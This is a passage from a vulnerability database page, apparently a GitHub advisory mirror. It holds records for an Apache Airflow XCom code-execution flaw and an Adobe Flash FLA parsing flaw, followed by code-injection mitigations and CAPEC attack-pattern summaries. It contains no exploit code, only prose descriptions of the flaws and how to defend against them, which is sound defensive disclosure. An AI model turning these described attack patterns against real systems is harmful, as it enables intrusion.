  "details": "The example example_xcom\u00a0that was included in airflow documentation implemented unsafe pattern of reading value\nfrom xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary\nexecution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.\n\nIt does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however\nusers following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of\nthe example with improved resiliance for that case.\n\nUsers who followed that pattern are advised to adjust their implementations accordingly.",
  "id": "GHSA-q2hg-643c-gw8h",
  "modified": "2026-04-16T22:57:15Z",
  "published": "2026-04-16T15:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54550"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/63200"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3mf4cfx070ofsnf9qy0s2v5gqb5sc2g1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/04/15/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Airflow: RCE by race condition in example_xcom dag"
}

GHSA-Q2JR-HV2M-2PV5

Vulnerability from github – Published: 2022-05-01 23:37 – Updated: 2022-05-01 23:37
VLAI
Details

Multiple unspecified vulnerabilities in FLA file parsing in Adobe Flash CS3 Professional, Flash Professional 8, and Flash Basic 8 on Windows allow user-assisted remote attackers to execute arbitrary code via a crafted .FLA file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-1201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-03-24T17:44:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple unspecified vulnerabilities in FLA file parsing in Adobe Flash CS3 Professional, Flash Professional 8, and Flash Basic 8 on Windows allow user-assisted remote attackers to execute arbitrary code via a crafted .FLA file.",
  "id": "GHSA-q2jr-hv2m-2pv5",
  "modified": "2022-05-01T23:37:38Z",
  "published": "2022-05-01T23:37:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1201"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41327"
    },
    {
      "type": "WEB",
      "url": "http://ruder.cdut.net/blogview.asp?logID=241"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29455"
    },
    {
      "type": "WEB",
      "url": "http://www.adobe.com/support/security/advisories/apsa08-03.html"
    },
    {
      "type": "WEB",
      "url": "http://www.fortiguardcenter.com/advisory/FGA-2008-07.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28349"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019681"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0948/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.